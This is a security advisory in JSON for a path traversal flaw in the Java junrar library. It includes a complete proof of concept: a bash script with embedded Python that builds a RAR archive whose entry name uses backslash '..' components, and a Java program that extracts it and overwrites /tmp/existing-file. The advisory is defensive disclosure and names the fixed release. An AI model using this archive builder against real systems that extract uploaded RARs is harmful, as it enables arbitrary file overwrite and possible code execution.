{"id":"GHSA-j273-m5qq-6825","summary":"Junrar has an arbitrary file write due to backslash Path Traversal bypass in LocalFolderExtractor on Linux/Unix","details":"### Summary\n\nA backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).\n\n### Details\n\nThe `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory:\n\n```java\nFile f = new File(destination, name);\nString dirCanonPath = f.getCanonicalPath();\nif (!dirCanonPath.startsWith(destination.getCanonicalPath())) {\n    throw new IllegalStateException(\"Rar contains file with invalid path: '\" + dirCanonPath + \"'\");\n}\n```\n\nOn Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\\..\\tmp\\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters — no `..` resolution occurs, and the `startsWith` check passes.\n\nHowever, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform's file separator:\n\n```java\nfinal String[] dirs = name.split(\"\\\\\\\\\");\n// dirs = [\"..\", \"..\", \"tmp\", \"evil.txt\"]\n// ...\npath = path + File.separator + dirs[i];  // File.separator is \"/\" on Linux\n```\n\nThis converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory.\n\nOn Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal.\n\n**Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`.\n\n### PoC (Files Below)\n\n**Prerequisites:** Linux/Unix system with Java 17+ and Maven installed.\n\n1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\\..\\tmp\\existing-file`), and creates `/tmp/existing-file` with the content \"Existing File\" to simulate a pre-existing file.\n2. Run `mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q`\n3. Observe the output shows `/tmp/existing-file` was overwritten from \"Existing File\" to \"Overwritten\", confirming the file outside the extraction directory was written with attacker-controlled content.\n\nThe PoC uses `Junrar.extract()` — the standard public API for extracting RAR archives.\n\n### Impact\n\nAny application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.\n\nThis affects all Linux/Unix deployments. Windows is not affected.\n\n## POC Files\n\n**poc_setup.sh**\n```\n#!/bin/bash\n# Setup script for junrar backslash path traversal PoC\n# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor\n# Package: com.github.junrar:junrar 7.5.7 (Java)\n\nset -e\n\n# Use the directory where this script lives as the working directory\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\ncd \"$SCRIPT_DIR\"\n\necho \"=== Setting up junrar backslash path traversal PoC ===\"\necho \"Working directory: $SCRIPT_DIR\"\n\n# Clean up artifacts from previous runs\nrm -f malicious.rar\nrm -rf target extraction-output\n\n# Verify Java and Maven are available\njava -version 2\u003e&1 | head -1 || { echo \"ERROR: Java not found\"; exit 1; }\nmvn -version 2\u003e&1 | head -1 || { echo \"ERROR: Maven not found\"; exit 1; }\n\n# Create Maven project\ncat \u003e pom.xml \u003c\u003c 'POMEOF'\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\u003e\n    \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n    \u003cgroupId\u003ecom.test\u003c/groupId\u003e\n    \u003cartifactId\u003ejunrar-poc\u003c/artifactId\u003e\n    \u003cversion\u003e1.0\u003c/version\u003e\n    \u003cpackaging\u003ejar\u003c/packaging\u003e\n    \u003cproperties\u003e\n        \u003cmaven.compiler.source\u003e17\u003c/maven.compiler.source\u003e\n        \u003cmaven.compiler.target\u003e17\u003c/maven.compiler.target\u003e\n        \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n    \u003c/properties\u003e\n    \u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003ecom.github.junrar\u003c/groupId\u003e\n            \u003cartifactId\u003ejunrar\u003c/artifactId\u003e\n            \u003cversion\u003e7.5.7\u003c/version\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n\u003c/project\u003e\nPOMEOF\n\n# Install dependencies\necho \"Installing junrar 7.5.7...\"\nmvn dependency:resolve -q\n\n# Copy and compile PoC\nmkdir -p src/main/java/com/test\ncp poc.java src/main/java/com/test/BackslashTraversalPoC.java\necho \"Compiling PoC...\"\nmvn compile -q\n\n# Verify junrar version\necho \"Installed: junrar 7.5.7\"\n\n# Create the malicious RAR3 archive:\n#   Entry 1: file with name \"..\\..\\tmp\\existing-file\" containing \"Overwritten\"\n#\n# On Linux, createFile() validates the path using getCanonicalPath().startsWith().\n# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT\n# resolve the \"..\" components, so the check passes. makeFile() then splits on\n# backslashes and joins with File.separator (/), converting the literal backslashes\n# into real directory traversal: ../../tmp/existing-file\npython3 \u003c\u003c 'PYEOF'\nimport struct, zlib\n\nRAR3_MAGIC = b'Rar!\\x1a\\x07\\x00'\nRAR_BLOCK_MAIN = 0x73\nRAR_BLOCK_FILE = 0x74\nRAR_BLOCK_ENDARC = 0x7b\nRAR_LONG_BLOCK = 0x8000\nRAR_OS_UNIX = 3\nRAR_M0 = 0x30      # Store (no compression)\nS_IFREG = 0o100000\n\ndef crc16(data):\n    return zlib.crc32(data) & 0xFFFF\n\ndef main_header():\n    # Standard RAR3 main archive header (non-encrypted)\n    # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)\n    # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)\n    extra = struct.pack('\u003cHI', 0, 0)  # HighPosAv=0, PosAv=0\n    header_data = struct.pack('\u003cBHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra\n    return struct.pack('\u003cH', crc16(header_data)) + header_data\n\ndef file_block(filename, file_data):\n    fname = filename.encode('utf-8')\n    data = file_data.encode('utf-8')\n    mode = S_IFREG | 0o644\n    # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30,\n    # then falls through to a switch on UNP_VER. Using 0 avoids matching any\n    # decompression case (15/20/26/29/36), so only unstoreFile() runs.\n    file_hdr = struct.pack('\u003cLLBLLBBHL',\n        len(data), len(data), RAR_OS_UNIX,\n        zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000,\n        0, RAR_M0, len(fname), mode)\n    header_body = struct.pack('\u003cBHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK,\n        7 + len(file_hdr) + len(fname)) + file_hdr + fname\n    return struct.pack('\u003cH', crc16(header_body)) + header_body + data\n\ndef endarc():\n    # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4\n    header_data = struct.pack('\u003cBHH', RAR_BLOCK_ENDARC, 0x4000, 7)\n    crc = crc16(header_data)\n    return struct.pack('\u003cH', crc) + header_data\n\narchive = bytearray()\narchive += RAR3_MAGIC\narchive += main_header()\n# Backslash-separated path: on Linux, createFile() sees literal backslashes,\n# but makeFile() splits on them and joins with /\narchive += file_block('..\\\\..\\\\tmp\\\\existing-file', 'Overwritten\\n')\narchive += endarc()\n\nwith open('malicious.rar', 'wb') as f:\n    f.write(archive)\nPYEOF\necho \"Created malicious.rar\"\n\n# Create the target file so it can be validated before running the payload\nprintf \"Existing File\\n\" \u003e /tmp/existing-file\n\necho \"\"\necho \"=== Setup complete ===\"\necho \"Validate: cat /tmp/existing-file  (should show 'Existing File')\"\necho \"Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q\"\n```\n\n**poc.java**\n```\npackage com.test;\n\nimport com.github.junrar.Junrar;\nimport java.io.File;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\n/**\n * PoC: Backslash path traversal bypass in junrar 7.5.7\n *\n * A RAR archive containing an entry with backslash-separated \"..\" components\n * bypasses the createFile() canonical path validation on Linux and writes\n * files outside the extraction directory via makeFile()'s path reconstruction.\n */\npublic class BackslashTraversalPoC {\n\n    static final String TARGET = \"/tmp/existing-file\";\n    static final String ARCHIVE = \"malicious.rar\";\n\n    public static void main(String[] args) throws Exception {\n        File archive = new File(ARCHIVE);\n        if (!archive.exists()) {\n            archive = new File(new File(System.getProperty(\"user.dir\")).getParent(), ARCHIVE);\n        }\n\n        // Step 1: Verify the pre-existing file (created by poc_setup.sh)\n        File target = new File(TARGET);\n        if (!target.exists()) {\n            System.out.println(\"ERROR: \" + TARGET + \" not found. Run poc_setup.sh first.\");\n            System.exit(1);\n        }\n\n        System.out.println(\"Before extraction:\");\n        System.out.println(\"  \" + TARGET + \" =\u003e \" + Files.readString(Path.of(TARGET)).trim());\n        System.out.println();\n\n        // Step 2: Extract the malicious archive\n        Path extractDir = Files.createTempDirectory(\"junrar-poc-\");\n        System.out.println(\"Extracting \" + archive.getAbsolutePath() + \" into \" + extractDir + \" ...\");\n        try {\n            Junrar.extract(archive, extractDir.toFile());\n        } catch (Exception e) {\n            System.out.println(\"Extraction error (may be expected): \" + e.getMessage());\n        }\n        System.out.println();\n\n        // Step 3: Show the result\n        System.out.println(\"After extraction:\");\n        String content = Files.readString(Path.of(TARGET)).trim();\n        System.out.println(\"  \" + TARGET + \" =\u003e \" + content);\n        System.out.println();\n\n        if (content.equals(\"Overwritten\")) {\n            System.out.println(\"VULNERABLE: junrar 7.5.7 backslash traversal overwrote \" + TARGET);\n        } else {\n            System.out.println(\"NOT VULNERABLE: file contents unchanged\");\n        }\n    }\n}\n```","aliases":["CVE-2026-28208"],"modified":"2026-02-28T06:41:21.602161Z","published":"2026-02-27T22:09:27Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-02-27T22:09:27Z","nvd_published_at":"2026-02-26T23:16:35Z","cwe_ids":["CWE-22"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/junrar/junrar/security/advisories/GHSA-j273-m5qq-6825"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28208"},{"type":"WEB","url":"https://github.com/junrar/junrar/commit/947ff1d33f00f940aa68ae2593500291d799d954"},{"type":"PACKAGE","url":"https://github.com/junrar/junrar"},{"type":"WEB","url":"https://github.com/junrar/junrar/releases/tag/v7.5.8"}],"affected":[{"package":{"name":"com.github.junrar:junrar","ecosystem":"Maven","purl":"pkg:maven/com.github.junrar/junrar"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.5.8"}]}],"versions":["0.7","1.0.0","1.0.1","2.0.0","3.0.0","3.1.0","4.0.0","5.0.0","6.0.0","6.0.1","7.0.0","7.1.0","7.2.0","7.3.0","7.4.0","7.4.1","7.5.0","7.5.1","7.5.2","7.5.3","7.5.4","7.5.5","7.5.6","7.5.7"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-j273-m5qq-6825/GHSA-j273-m5qq-6825.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}